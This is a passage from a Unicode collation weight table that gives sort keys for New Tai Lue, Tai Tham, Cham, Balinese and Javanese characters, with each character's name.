[.3194.0020.0002][.31B2.0020.0002] # -19BA 1995 ; [.3194.0020.0002][.31B5.0020.0002] # -1996 ; [.3195.0020.0002] # NEW TAI LUE LETTER HIGH MA -19B5 1996 ; [.3195.0020.0002][.31B0.0020.0002] # -19B6 1996 ; [.3195.0020.0002][.31B1.0020.0002] # -19B7 1996 ; [.3195.0020.0002][.31B2.0020.0002] # -19BA 1996 ; [.3195.0020.0002][.31B5.0020.0002] # -1997 ; [.3196.0020.0002] # NEW TAI LUE LETTER LOW PA -19B5 1997 ; [.3196.0020.0002][.31B0.0020.0002] # -19B6 1997 ; [.3196.0020.0002][.31B1.0020.0002] # -19B7 1997 ; [.3196.0020.0002][.31B2.0020.0002] # -19BA 1997 ; [.3196.0020.0002][.31B5.0020.0002] # -1998 ; [.3197.0020.0002] # NEW TAI LUE LETTER LOW PHA -19B5 1998 ; [.3197.0020.0002][.31B0.0020.0002] # -19B6 1998 ; [.3197.0020.0002][.31B1.0020.0002] # -19B7 1998 ; [.3197.0020.0002][.31B2.0020.0002] # -19BA 1998 ; [.3197.0020.0002][.31B5.0020.0002] # -1999 ; [.3198.0020.0002] # NEW TAI LUE LETTER LOW MA -19B5 1999 ; [.3198.0020.0002][.31B0.0020.0002] # -19B6 1999 ; [.3198.0020.0002][.31B1.0020.0002] # -19B7 1999 ; [.3198.0020.0002][.31B2.0020.0002] # -19BA 1999 ; [.3198.0020.0002][.31B5.0020.0002] # -199A ; [.3199.0020.0002] # NEW TAI LUE LETTER HIGH FA -19B5 199A ; [.3199.0020.0002][.31B0.0020.0002] # -19B6 199A ; [.3199.0020.0002][.31B1.0020.0002] # -19B7 199A ; [.3199.0020.0002][.31B2.0020.0002] # -19BA 199A ; [.3199.0020.0002][.31B5.0020.0002] # -199B ; [.319A.0020.0002] # NEW TAI LUE LETTER HIGH VA -19B5 199B ; [.319A.0020.0002][.31B0.0020.0002] # -19B6 199B ; [.319A.0020.0002][.31B1.0020.0002] # -19B7 199B ; [.319A.0020.0002][.31B2.0020.0002] # -19BA 199B ; [.319A.0020.0002][.31B5.0020.0002] # -199C ; [.319B.0020.0002] # NEW TAI LUE LETTER HIGH LA -19B5 199C ; [.319B.0020.0002][.31B0.0020.0002] # -19B6 199C ; [.319B.0020.0002][.31B1.0020.0002] # -19DE ; [.319B.0020.0004][.31B1.0020.0004] # NEW TAI LUE SIGN LAE -19DF ; [.319B.0020.0004][.31B1.0020.0004][.31BC.0020.0004] # NEW TAI LUE SIGN LAEV -19B7 199C ; [.319B.0020.0002][.31B2.0020.0002] # -19BA 199C ; [.319B.0020.0002][.31B5.0020.0002] # -199D ; [.319C.0020.0002] # NEW TAI LUE LETTER LOW FA -19B5 199D ; [.319C.0020.0002][.31B0.0020.0002] # -19B6 199D ; [.319C.0020.0002][.31B1.0020.0002] # -19B7 199D ; [.319C.0020.0002][.31B2.0020.0002] # -19BA 199D ; [.319C.0020.0002][.31B5.0020.0002] # -199E ; [.319D.0020.0002] # NEW TAI LUE LETTER LOW VA -19B5 199E ; [.319D.0020.0002][.31B0.0020.0002] # -19B6 199E ; [.319D.0020.0002][.31B1.0020.0002] # -19B7 199E ; [.319D.0020.0002][.31B2.0020.0002] # -19BA 199E ; [.319D.0020.0002][.31B5.0020.0002] # -199F ; [.319E.0020.0002] # NEW TAI LUE LETTER LOW LA -19B5 199F ; [.319E.0020.0002][.31B0.0020.0002] # -19B6 199F ; [.319E.0020.0002][.31B1.0020.0002] # -19B7 199F ; [.319E.0020.0002][.31B2.0020.0002] # -19BA 199F ; [.319E.0020.0002][.31B5.0020.0002] # -19A0 ; [.319F.0020.0002] # NEW TAI LUE LETTER HIGH HA -19B5 19A0 ; [.319F.0020.0002][.31B0.0020.0002] # -19B6 19A0 ; [.319F.0020.0002][.31B1.0020.0002] # -19B7 19A0 ; [.319F.0020.0002][.31B2.0020.0002] # -19BA 19A0 ; [.319F.0020.0002][.31B5.0020.0002] # -19A1 ; [.31A0.0020.0002] # NEW TAI LUE LETTER HIGH DA -19B5 19A1 ; [.31A0.0020.0002][.31B0.0020.0002] # -19B6 19A1 ; [.31A0.0020.0002][.31B1.0020.0002] # -19B7 19A1 ; [.31A0.0020.0002][.31B2.0020.0002] # -19BA 19A1 ; [.31A0.0020.0002][.31B5.0020.0002] # -19A2 ; [.31A1.0020.0002] # NEW TAI LUE LETTER HIGH BA -19B5 19A2 ; [.31A1.0020.0002][.31B0.0020.0002] # -19B6 19A2 ; [.31A1.0020.0002][.31B1.0020.0002] # -19B7 19A2 ; [.31A1.0020.0002][.31B2.0020.0002] # -19BA 19A2 ; [.31A1.0020.0002][.31B5.0020.0002] # -19A3 ; [.31A2.0020.0002] # NEW TAI LUE LETTER LOW HA -19B5 19A3 ; [.31A2.0020.0002][.31B0.0020.0002] # -19B6 19A3 ; [.31A2.0020.0002][.31B1.0020.0002] # -19B7 19A3 ; [.31A2.0020.0002][.31B2.0020.0002] # -19BA 19A3 ; [.31A2.0020.0002][.31B5.0020.0002] # -19A4 ; [.31A3.0020.0002] # NEW TAI LUE LETTER LOW DA -19B5 19A4 ; [.31A3.0020.0002][.31B0.0020.0002] # -19B6 19A4 ; [.31A3.0020.0002][.31B1.0020.0002] # -19B7 19A4 ; [.31A3.0020.0002][.31B2.0020.0002] # -19BA 19A4 ; [.31A3.0020.0002][.31B5.0020.0002] # -19A5 ; [.31A4.0020.0002] # NEW TAI LUE LETTER LOW BA -19B5 19A5 ; [.31A4.0020.0002][.31B0.0020.0002] # -19B6 19A5 ; [.31A4.0020.0002][.31B1.0020.0002] # -19B7 19A5 ; [.31A4.0020.0002][.31B2.0020.0002] # -19BA 19A5 ; [.31A4.0020.0002][.31B5.0020.0002] # -19A6 ; [.31A5.0020.0002] # NEW TAI LUE LETTER HIGH KVA -19B5 19A6 ; [.31A5.0020.0002][.31B0.0020.0002] # -19B6 19A6 ; [.31A5.0020.0002][.31B1.0020.0002] # -19B7 19A6 ; [.31A5.0020.0002][.31B2.0020.0002] # -19BA 19A6 ; [.31A5.0020.0002][.31B5.0020.0002] # -19A7 ; [.31A6.0020.0002] # NEW TAI LUE LETTER HIGH XVA -19B5 19A7 ; [.31A6.0020.0002][.31B0.0020.0002] # -19B6 19A7 ; [.31A6.0020.0002][.31B1.0020.0002] # -19B7 19A7 ; [.31A6.0020.0002][.31B2.0020.0002] # -19BA 19A7 ; [.31A6.0020.0002][.31B5.0020.0002] # -19A8 ; [.31A7.0020.0002] # NEW TAI LUE LETTER LOW KVA -19B5 19A8 ; [.31A7.0020.0002][.31B0.0020.0002] # -19B6 19A8 ; [.31A7.0020.0002][.31B1.0020.0002] # -19B7 19A8 ; [.31A7.0020.0002][.31B2.0020.0002] # -19BA 19A8 ; [.31A7.0020.0002][.31B5.0020.0002] # -19A9 ; [.31A8.0020.0002] # NEW TAI LUE LETTER LOW XVA -19B5 19A9 ; [.31A8.0020.0002][.31B0.0020.0002] # -19B6 19A9 ; [.31A8.0020.0002][.31B1.0020.0002] # -19B7 19A9 ; [.31A8.0020.0002][.31B2.0020.0002] # -19BA 19A9 ; [.31A8.0020.0002][.31B5.0020.0002] # -19AA ; [.31A9.0020.0002] # NEW TAI LUE LETTER HIGH SUA -19B5 19AA ; [.31A9.0020.0002][.31B0.0020.0002] # -19B6 19AA ; [.31A9.0020.0002][.31B1.0020.0002] # -19B7 19AA ; [.31A9.0020.0002][.31B2.0020.0002] # -19BA 19AA ; [.31A9.0020.0002][.31B5.0020.0002] # -19AB ; [.31AA.0020.0002] # NEW TAI LUE LETTER LOW SUA -19B5 19AB ; [.31AA.0020.0002][.31B0.0020.0002] # -19B6 19AB ; [.31AA.0020.0002][.31B1.0020.0002] # -19B7 19AB ; [.31AA.0020.0002][.31B2.0020.0002] # -19BA 19AB ; [.31AA.0020.0002][.31B5.0020.0002] # -19B0 ; [.31AB.0020.0002] # NEW TAI LUE VOWEL SIGN VOWEL SHORTENER -19B1 ; [.31AC.0020.0002] # NEW TAI LUE VOWEL SIGN AA -19B2 ; [.31AD.0020.0002] # NEW TAI LUE VOWEL SIGN II -19B3 ; [.31AE.0020.0002] # NEW TAI LUE VOWEL SIGN U -19B4 ; [.31AF.0020.0002] # NEW TAI LUE VOWEL SIGN UU -19B5 ; [.31B0.0020.0002] # NEW TAI LUE VOWEL SIGN E -19B6 ; [.31B1.0020.0002] # NEW TAI LUE VOWEL SIGN AE -19B7 ; [.31B2.0020.0002] # NEW TAI LUE VOWEL SIGN O -19B8 ; [.31B3.0020.0002] # NEW TAI LUE VOWEL SIGN OA -19B9 ; [.31B4.0020.0002] # NEW TAI LUE VOWEL SIGN UE -19BA ; [.31B5.0020.0002] # NEW TAI LUE VOWEL SIGN AY -19BB ; [.31B6.0020.0002] # NEW TAI LUE VOWEL SIGN AAY -19BC ; [.31B7.0020.0002] # NEW TAI LUE VOWEL SIGN UY -19BD ; [.31B8.0020.0002] # NEW TAI LUE VOWEL SIGN OY -19BE ; [.31B9.0020.0002] # NEW TAI LUE VOWEL SIGN OAY -19BF ; [.31BA.0020.0002] # NEW TAI LUE VOWEL SIGN UEY -19C0 ; [.31BB.0020.0002] # NEW TAI LUE VOWEL SIGN IY -19C1 ; [.31BC.0020.0002] # NEW TAI LUE LETTER FINAL V -19C2 ; [.31BD.0020.0002] # NEW TAI LUE LETTER FINAL NG -19C3 ; [.31BE.0020.0002] # NEW TAI LUE LETTER FINAL N -19C4 ; [.31BF.0020.0002] # NEW TAI LUE LETTER FINAL M -19C5 ; [.31C0.0020.0002] # NEW TAI LUE LETTER FINAL K -19C6 ; [.31C1.0020.0002] # NEW TAI LUE LETTER FINAL D -19C7 ; [.31C2.0020.0002] # NEW TAI LUE LETTER FINAL B -19C8 ; [.31C3.0020.0002] # NEW TAI LUE TONE MARK-1 -19C9 ; [.31C4.0020.0002] # NEW TAI LUE TONE MARK-2 -1A20 ; [.31C5.0020.0002] # TAI THAM LETTER HIGH KA -1A21 ; [.31C6.0020.0002] # TAI THAM LETTER HIGH KHA -1A22 ; [.31C7.0020.0002] # TAI THAM LETTER HIGH KXA -1A23 ; [.31C8.0020.0002] # TAI THAM LETTER LOW KA -1A24 ; [.31C9.0020.0002] # TAI THAM LETTER LOW KXA -1A25 ; [.31CA.0020.0002] # TAI THAM LETTER LOW KHA -1A26 ; [.31CB.0020.0002] # TAI THAM LETTER NGA -1A58 ; [.31CB.0020.0004] # TAI THAM SIGN MAI KANG LAI -1A59 ; [.31CB.0020.0004] # TAI THAM CONSONANT SIGN FINAL NGA -1A27 ; [.31CC.0020.0002] # TAI THAM LETTER HIGH CA -1A28 ; [.31CD.0020.0002] # TAI THAM LETTER HIGH CHA -1A29 ; [.31CE.0020.0002] # TAI THAM LETTER LOW CA -1A2A ; [.31CF.0020.0002] # TAI THAM LETTER LOW SA -1A2B ; [.31D0.0020.0002] # TAI THAM LETTER LOW CHA -1A2C ; [.31D1.0020.0002] # TAI THAM LETTER NYA -1A2D ; [.31D2.0020.0002] # TAI THAM LETTER RATA -1A2E ; [.31D3.0020.0002] # TAI THAM LETTER HIGH RATHA -1A2F ; [.31D4.0020.0002] # TAI THAM LETTER DA -1A30 ; [.31D5.0020.0002] # TAI THAM LETTER LOW RATHA -1A31 ; [.31D6.0020.0002] # TAI THAM LETTER RANA -1A32 ; [.31D7.0020.0002] # TAI THAM LETTER HIGH TA -1A33 ; [.31D8.0020.0002] # TAI THAM LETTER HIGH THA -1A34 ; [.31D9.0020.0002] # TAI THAM LETTER LOW TA -1A35 ; [.31DA.0020.0002] # TAI THAM LETTER LOW THA -1A36 ; [.31DB.0020.0002] # TAI THAM LETTER NA -1A37 ; [.31DC.0020.0002] # TAI THAM LETTER BA -1A38 ; [.31DD.0020.0002] # TAI THAM LETTER HIGH PA -1A39 ; [.31DE.0020.0002] # TAI THAM LETTER HIGH PHA -1A3A ; [.31DF.0020.0002] # TAI THAM LETTER HIGH FA -1A3B ; [.31E0.0020.0002] # TAI THAM LETTER LOW PA -1A5A ; [.31E0.0020.0004] # TAI THAM CONSONANT SIGN LOW PA -1A5B ; [.31E0.0020.0004] # TAI THAM CONSONANT SIGN HIGH RATHA OR LOW PA -1A3C ; [.31E1.0020.0002] # TAI THAM LETTER LOW FA -1A3D ; [.31E2.0020.0002] # TAI THAM LETTER LOW PHA -1A3E ; [.31E3.0020.0002] # TAI THAM LETTER MA -1A3F ; [.31E4.0020.0002] # TAI THAM LETTER LOW YA -1A40 ; [.31E5.0020.0002] # TAI THAM LETTER HIGH YA -1A41 ; [.31E6.0020.0002] # TAI THAM LETTER RA -1A42 ; [.31E7.0020.0002] # TAI THAM LETTER RUE -1A43 ; [.31E8.0020.0002] # TAI THAM LETTER LA -1A44 ; [.31E9.0020.0002] # TAI THAM LETTER LUE -1A45 ; [.31EA.0020.0002] # TAI THAM LETTER WA -1A46 ; [.31EB.0020.0002] # TAI THAM LETTER HIGH SHA -1A54 ; [.31EB.0020.0004][.3211.0020.0004][.31EB.0020.0004] # TAI THAM LETTER GREAT SA -1A47 ; [.31EC.0020.0002] # TAI THAM LETTER HIGH SSA -1A48 ; [.31ED.0020.0002] # TAI THAM LETTER HIGH SA -1A49 ; [.31EE.0020.0002] # TAI THAM LETTER HIGH HA -1A4A ; [.31EF.0020.0002] # TAI THAM LETTER LLA -1A4B ; [.31F0.0020.0002] # TAI THAM LETTER A -1A4C ; [.31F1.0020.0002] # TAI THAM LETTER LOW HA -1A53 ; [.31F2.0020.0002] # TAI THAM LETTER LAE -1A6B ; [.31F3.0020.0002] # TAI THAM VOWEL SIGN O -1A55 ; [.31F4.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL RA -1A56 ; [.31F5.0020.0002] # TAI THAM CONSONANT SIGN MEDIAL LA -1A57 ; [.31F6.0020.0002] # TAI THAM CONSONANT SIGN LA TANG LAI -1A5C ; [.31F7.0020.0002] # TAI THAM CONSONANT SIGN MA -1A5D ; [.31F8.0020.0002] # TAI THAM CONSONANT SIGN BA -1A5E ; [.31F9.0020.0002] # TAI THAM CONSONANT SIGN SA -1A4D ; [.31FA.0020.0002] # TAI THAM LETTER I -1A4E ; [.31FB.0020.0002] # TAI THAM LETTER II -1A4F ; [.31FC.0020.0002] # TAI THAM LETTER U -1A50 ; [.31FD.0020.0002] # TAI THAM LETTER UU -1A51 ; [.31FE.0020.0002] # TAI THAM LETTER EE -1A52 ; [.31FF.0020.0002] # TAI THAM LETTER OO -1A61 ; [.3200.0020.0002] # TAI THAM VOWEL SIGN A -1A6C ; [.3201.0020.0002] # TAI THAM VOWEL SIGN OA BELOW -1A62 ; [.3202.0020.0002] # TAI THAM VOWEL SIGN MAI SAT -1A63 ; [.3203.0020.0002] # TAI THAM VOWEL SIGN AA -1A64 ; [.3203.0020.0004] # TAI THAM VOWEL SIGN TALL AA -1A65 ; [.3204.0020.0002] # TAI THAM VOWEL SIGN I -1A66 ; [.3205.0020.0002] # TAI THAM VOWEL SIGN II -1A67 ; [.3206.0020.0002] # TAI THAM VOWEL SIGN UE -1A68 ; [.3207.0020.0002] # TAI THAM VOWEL SIGN UUE -1A69 ; [.3208.0020.0002] # TAI THAM VOWEL SIGN U -1A6A ; [.3209.0020.0002] # TAI THAM VOWEL SIGN UU -1A6E ; [.320A.0020.0002] # TAI THAM VOWEL SIGN E -1A6F ; [.320B.0020.0002] # TAI THAM VOWEL SIGN AE -1A73 ; [.320C.0020.0002] # TAI THAM VOWEL SIGN OA ABOVE -1A70 ; [.320D.0020.0002] # TAI THAM VOWEL SIGN OO -1A71 ; [.320E.0020.0002] # TAI THAM VOWEL SIGN AI -1A72 ; [.320F.0020.0002] # TAI THAM VOWEL SIGN THAM AI -1A6D ; [.3210.0020.0002] # TAI THAM VOWEL SIGN OY -1A60 ; [.3211.0020.0002] # TAI THAM SIGN SAKOT -AA00 ; [.3212.0020.0002] # CHAM LETTER A -AA01 ; [.3213.0020.0002] # CHAM LETTER I -AA02 ; [.3214.0020.0002] # CHAM LETTER U -AA03 ; [.3215.0020.0002] # CHAM LETTER E -AA04 ; [.3216.0020.0002] # CHAM LETTER AI -AA05 ; [.3217.0020.0002] # CHAM LETTER O -AA06 ; [.3218.0020.0002] # CHAM LETTER KA -AA07 ; [.3219.0020.0002] # CHAM LETTER KHA -AA08 ; [.321A.0020.0002] # CHAM LETTER GA -AA09 ; [.321B.0020.0002] # CHAM LETTER GHA -AA0A ; [.321C.0020.0002] # CHAM LETTER NGUE -AA0B ; [.321D.0020.0002] # CHAM LETTER NGA -AA0C ; [.321E.0020.0002] # CHAM LETTER CHA -AA0D ; [.321F.0020.0002] # CHAM LETTER CHHA -AA0E ; [.3220.0020.0002] # CHAM LETTER JA -AA0F ; [.3221.0020.0002] # CHAM LETTER JHA -AA10 ; [.3222.0020.0002] # CHAM LETTER NHUE -AA11 ; [.3223.0020.0002] # CHAM LETTER NHA -AA12 ; [.3224.0020.0002] # CHAM LETTER NHJA -AA13 ; [.3225.0020.0002] # CHAM LETTER TA -AA14 ; [.3226.0020.0002] # CHAM LETTER THA -AA15 ; [.3227.0020.0002] # CHAM LETTER DA -AA16 ; [.3228.0020.0002] # CHAM LETTER DHA -AA17 ; [.3229.0020.0002] # CHAM LETTER NUE -AA18 ; [.322A.0020.0002] # CHAM LETTER NA -AA19 ; [.322B.0020.0002] # CHAM LETTER DDA -AA1A ; [.322C.0020.0002] # CHAM LETTER PA -AA1B ; [.322D.0020.0002] # CHAM LETTER PPA -AA1C ; [.322E.0020.0002] # CHAM LETTER PHA -AA1D ; [.322F.0020.0002] # CHAM LETTER BA -AA1E ; [.3230.0020.0002] # CHAM LETTER BHA -AA1F ; [.3231.0020.0002] # CHAM LETTER MUE -AA20 ; [.3232.0020.0002] # CHAM LETTER MA -AA21 ; [.3233.0020.0002] # CHAM LETTER BBA -AA22 ; [.3234.0020.0002] # CHAM LETTER YA -AA23 ; [.3235.0020.0002] # CHAM LETTER RA -AA24 ; [.3236.0020.0002] # CHAM LETTER LA -AA25 ; [.3237.0020.0002] # CHAM LETTER VA -AA26 ; [.3238.0020.0002] # CHAM LETTER SSA -AA27 ; [.3239.0020.0002] # CHAM LETTER SA -AA28 ; [.323A.0020.0002] # CHAM LETTER HA -AA33 ; [.323B.0020.0002] # CHAM CONSONANT SIGN YA -AA34 ; [.323C.0020.0002] # CHAM CONSONANT SIGN RA -AA35 ; [.323D.0020.0002] # CHAM CONSONANT SIGN LA -AA36 ; [.323E.0020.0002] # CHAM CONSONANT SIGN WA -AA29 ; [.323F.0020.0002] # CHAM VOWEL SIGN AA -AA2A ; [.3240.0020.0002] # CHAM VOWEL SIGN I -AA2B ; [.3241.0020.0002] # CHAM VOWEL SIGN II -AA2C ; [.3242.0020.0002] # CHAM VOWEL SIGN EI -AA2D ; [.3243.0020.0002] # CHAM VOWEL SIGN U -AA2E ; [.3244.0020.0002] # CHAM VOWEL SIGN OE -AA2F ; [.3245.0020.0002] # CHAM VOWEL SIGN O -AA30 ; [.3246.0020.0002] # CHAM VOWEL SIGN AI -AA31 ; [.3247.0020.0002] # CHAM VOWEL SIGN AU -AA32 ; [.3248.0020.0002] # CHAM VOWEL SIGN UE -AA40 ; [.3249.0020.0002] # CHAM LETTER FINAL K -AA41 ; [.324A.0020.0002] # CHAM LETTER FINAL G -AA42 ; [.324B.0020.0002] # CHAM LETTER FINAL NG -AA43 ; [.324C.0020.0002] # CHAM CONSONANT SIGN FINAL NG -AA44 ; [.324D.0020.0002] # CHAM LETTER FINAL CH -AA45 ; [.324E.0020.0002] # CHAM LETTER FINAL T -AA46 ; [.324F.0020.0002] # CHAM LETTER FINAL N -AA47 ; [.3250.0020.0002] # CHAM LETTER FINAL P -AA48 ; [.3251.0020.0002] # CHAM LETTER FINAL Y -AA49 ; [.3252.0020.0002] # CHAM LETTER FINAL R -AA4A ; [.3253.0020.0002] # CHAM LETTER FINAL L -AA4B ; [.3254.0020.0002] # CHAM LETTER FINAL SS -AA4C ; [.3255.0020.0002] # CHAM CONSONANT SIGN FINAL M -AA4D ; [.3256.0020.0002] # CHAM CONSONANT SIGN FINAL H -1B05 ; [.3257.0020.0002] # BALINESE LETTER AKARA -1B06 ; [.3258.0020.0002] # BALINESE LETTER AKARA TEDUNG -1B05 1B35 ; [.3258.0020.0002] # BALINESE LETTER AKARA TEDUNG -1B07 ; [.3259.0020.0002] # BALINESE LETTER IKARA -1B08 ; [.325A.0020.0002] # BALINESE LETTER IKARA TEDUNG -1B07 1B35 ; [.325A.0020.0002] # BALINESE LETTER IKARA TEDUNG -1B09 ; [.325B.0020.0002] # BALINESE LETTER UKARA -1B0A ; [.325C.0020.0002] # BALINESE LETTER UKARA TEDUNG -1B09 1B35 ; [.325C.0020.0002] # BALINESE LETTER UKARA TEDUNG -1B0B ; [.325D.0020.0002] # BALINESE LETTER RA REPA -1B0C ; [.325E.0020.0002] # BALINESE LETTER RA REPA TEDUNG -1B0B 1B35 ; [.325E.0020.0002] # BALINESE LETTER RA REPA TEDUNG -1B0D ; [.325F.0020.0002] # BALINESE LETTER LA LENGA -1B0E ; [.3260.0020.0002] # BALINESE LETTER LA LENGA TEDUNG -1B0D 1B35 ; [.3260.0020.0002] # BALINESE LETTER LA LENGA TEDUNG -1B0F ; [.3261.0020.0002] # BALINESE LETTER EKARA -1B10 ; [.3262.0020.0002] # BALINESE LETTER AIKARA -1B11 ; [.3263.0020.0002] # BALINESE LETTER OKARA -1B12 ; [.3264.0020.0002] # BALINESE LETTER OKARA TEDUNG -1B11 1B35 ; [.3264.0020.0002] # BALINESE LETTER OKARA TEDUNG -1B13 ; [.3265.0020.0002] # BALINESE LETTER KA -1B45 ; [.3266.0020.0002] # BALINESE LETTER KAF SASAK -1B46 ; [.3267.0020.0002] # BALINESE LETTER KHOT SASAK -1B14 ; [.3268.0020.0002] # BALINESE LETTER KA MAHAPRANA -1B15 ; [.3269.0020.0002] # BALINESE LETTER GA -1B16 ; [.326A.0020.0002] # BALINESE LETTER GA GORA -1B17 ; [.326B.0020.0002] # BALINESE LETTER NGA -1B18 ; [.326C.0020.0002] # BALINESE LETTER CA -1B19 ; [.326D.0020.0002] # BALINESE LETTER CA LACA -1B1A ; [.326E.0020.0002] # BALINESE LETTER JA -1B1B ; [.326F.0020.0002] # BALINESE LETTER JA JERA -1B1C ; [.3270.0020.0002] # BALINESE LETTER NYA -1B1D ; [.3271.0020.0002] # BALINESE LETTER TA LATIK -1B1E ; [.3272.0020.0002] # BALINESE LETTER TA MURDA MAHAPRANA -1B1F ; [.3273.0020.0002] # BALINESE LETTER DA MURDA ALPAPRANA -1B20 ; [.3274.0020.0002] # BALINESE LETTER DA MURDA MAHAPRANA -1B21 ; [.3275.0020.0002] # BALINESE LETTER NA RAMBAT -1B22 ; [.3276.0020.0002] # BALINESE LETTER TA -1B47 ; [.3277.0020.0002] # BALINESE LETTER TZIR SASAK -1B23 ; [.3278.0020.0002] # BALINESE LETTER TA TAWA -1B24 ; [.3279.0020.0002] # BALINESE LETTER DA -1B25 ; [.327A.0020.0002] # BALINESE LETTER DA MADU -1B26 ; [.327B.0020.0002] # BALINESE LETTER NA -1B27 ; [.327C.0020.0002] # BALINESE LETTER PA -1B48 ; [.327D.0020.0002] # BALINESE LETTER EF SASAK -1B28 ; [.327E.0020.0002] # BALINESE LETTER PA KAPAL -1B29 ; [.327F.0020.0002] # BALINESE LETTER BA -1B2A ; [.3280.0020.0002] # BALINESE LETTER BA KEMBANG -1B2B ; [.3281.0020.0002] # BALINESE LETTER MA -1B2C ; [.3282.0020.0002] # BALINESE LETTER YA -1B2D ; [.3283.0020.0002] # BALINESE LETTER RA -1B2E ; [.3284.0020.0002] # BALINESE LETTER LA -1B2F ; [.3285.0020.0002] # BALINESE LETTER WA -1B49 ; [.3286.0020.0002] # BALINESE LETTER VE SASAK -1B30 ; [.3287.0020.0002] # BALINESE LETTER SA SAGA -1B31 ; [.3288.0020.0002] # BALINESE LETTER SA SAPA -1B32 ; [.3289.0020.0002] # BALINESE LETTER SA -1B4A ; [.328A.0020.0002] # BALINESE LETTER ZAL SASAK -1B4B ; [.328B.0020.0002] # BALINESE LETTER ASYURA SASAK -1B33 ; [.328C.0020.0002] # BALINESE LETTER HA -1B35 ; [.328D.0020.0002] # BALINESE VOWEL SIGN TEDUNG -1B36 ; [.328E.0020.0002] # BALINESE VOWEL SIGN ULU -1B37 ; [.328F.0020.0002] # BALINESE VOWEL SIGN ULU SARI -1B38 ; [.3290.0020.0002] # BALINESE VOWEL SIGN SUKU -1B39 ; [.3291.0020.0002] # BALINESE VOWEL SIGN SUKU ILUT -1B3A ; [.3292.0020.0002] # BALINESE VOWEL SIGN RA REPA -1B3B ; [.3293.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG -1B3A 1B35 ; [.3293.0020.0002] # BALINESE VOWEL SIGN RA REPA TEDUNG -1B3C ; [.3294.0020.0002] # BALINESE VOWEL SIGN LA LENGA -1B3D ; [.3295.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG -1B3C 1B35 ; [.3295.0020.0002] # BALINESE VOWEL SIGN LA LENGA TEDUNG -1B3E ; [.3296.0020.0002] # BALINESE VOWEL SIGN TALING -1B3F ; [.3297.0020.0002] # BALINESE VOWEL SIGN TALING REPA -1B40 ; [.3298.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG -1B3E 1B35 ; [.3298.0020.0002] # BALINESE VOWEL SIGN TALING TEDUNG -1B41 ; [.3299.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG -1B3F 1B35 ; [.3299.0020.0002] # BALINESE VOWEL SIGN TALING REPA TEDUNG -1B42 ; [.329A.0020.0002] # BALINESE VOWEL SIGN PEPET -1B43 ; [.329B.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG -1B42 1B35 ; [.329B.0020.0002] # BALINESE VOWEL SIGN PEPET TEDUNG -1B44 ; [.329C.0020.0002] # BALINESE ADEG ADEG -A984 ; [.329D.0020.0002] # JAVANESE LETTER A -A985 ; [.329E.0020.0002] # JAVANESE LETTER I KAWI -A986 ; [.329F.0020.0002] # JAVANESE LETTER I -A987 ; [.32A0.0020.0002] # JAVANESE LETTER II -A988 ; [.32A1.0020.0002] # JAVANESE LETTER U -A989 ; [.32A2.0020.0002] # JAVANESE LETTER PA CEREK -A98A ; [.32A3.0020.0002] # JAVANESE LETTER NGA LELET -A98B ; [.32A4.0020.0002] # JAVANESE LETTER NGA LELET RASWADI -A98C ; [.32A5.0020.0002] # JAVANESE LETTER E -A98D ; [.32A6.0020.0002] # JAVANESE LETTER AI -A98E ; [.32A7.0020.0002] # JAVANESE LETTER O -A98F ; [.32A8.0020.0002] # JAVANESE LETTER KA -A990 ; [.32A9.0020.0002] # JAVANESE LETTER KA SASAK -A991 ; [.32AA.0020.0002] # JAVANESE LETTER KA MURDA -A992 ; [.32AB.0020.0002] # JAVANESE LETTER GA -A993 ; [.32AC.0020.0002] # JAVANESE LETTER GA MURDA -A994 ; [.32AD.0020.0002] # JAVANESE LETTER NGA -A995 ; [.32AE.0020.0002] # JAVANESE LETTER CA -A996 ; [.32AF.0020.0002] # JAVANESE LETTER CA MURDA -A997 ; [.32B0.0020.0002] # JAVANESE LETTER JA -A998 ; [.32B1.0020.0002] # JAVANESE LETTER NYA MURDA -A999 ; [.32B2.0020.0002] # JAVANESE LETTER JA MAHAPRANA -A99A ; [.32B3.0020.0002] # JAVANESE LETTER NYA -A99B ; [.32B4.0020.0002] # JAVANESE LETTER TTA -A99C ; [.32B5.0020.0002] # JAVANESE LETTER TTA MAHAPRANA -A99D ; [.32B6.0020.0002] # JAVANESE LETTER DDA -A99E ; [.32B7.0020.0002] # JAVANESE LETTER DDA MAHAPRANA -A99F ; [.32B8.0020.0002] # JAVANESE LETTER NA MURDA -A9A0 ; [.32B9.0020.0002] # JAVANESE LETTER TA -A9A1 ; [.32BA.0020.0002] # JAVANESE LETTER TA MURDA -A9A2 ; [.32BB.0020.0002] # JAVANESE LETTER DA -A9A3 ; [.32BC.0020.0002] # JAVANESE LETTER DA MAHAPRANA -A9A4 ; [.32BD.0020.0002] # JAVANESE LETTER NA -A9A5 ; [.32BE.0020.0002] # JAVANESE LETTER PA -A9A6 ; [.32BF.0020.0002] # JAVANESE LETTER PA MURDA -A9A7 ; [.32C0.0020.0002] # JAVANESE LETTER BA -A9A8 ; [.32C1.0020.0002] # JAVANESE LETTER BA MURDA -A9A9 ; [.32C2.0020.0002] # JAVANESE LETTER MA -A9AA ; [.32C3.0020.0002] # JAVANESE LETTER YA -A9BE ; [.32C4.0020.0002] # JAVANESE CONSONANT SIGN PENGKAL -A9AB ; [.32C5.0020.0002] # JAVANESE LETTER RA -A9AC ; [.32C5.0020.0004] # JAVANESE LETTER RA AGUNG -A9BF ; [.32C6.0020.0002] # JAVANESE CONSONANT SIGN CAKRA -A9AD ; [.32C7.0020.0002] # JAVANESE LETTER LA -A9AE ; [.32C8.0020.0002] # JAVANESE LETTER WA -A9AF ; [.32C9.0020.0002] # JAVANESE LETTER SA MURDA -A9B0 ; [.32CA.0020.0002] # JAVANESE LETTER SA MAHAPRANA -A9B1 ; [.32CB.0020.0002] # JAVANESE LETTER SA -A9B2 ; [.32CC.0020.0002] # JAVANESE LETTER HA -A9B4 ; [.32CD.0020.0002] # JAVANESE VOWEL SIGN TARUNG -A9BC ; [.32CE.0020.0002] # JAVANESE VOWEL SIGN PEPET -A9B6 ; [.32CF.0020.0002] # JAVANESE VOWEL SIGN WULU -A9B7 ; [.32D0.0020.0002] # JAVANESE VOWEL SIGN WULU MELIK -A9B8 ; [.32D1.0020.0002] # JAVANESE VOWEL SIGN SUKU -A9B9 ; [.32D2.0020.0002] # JAVANESE VOWEL SIGN SUKU MENDUT 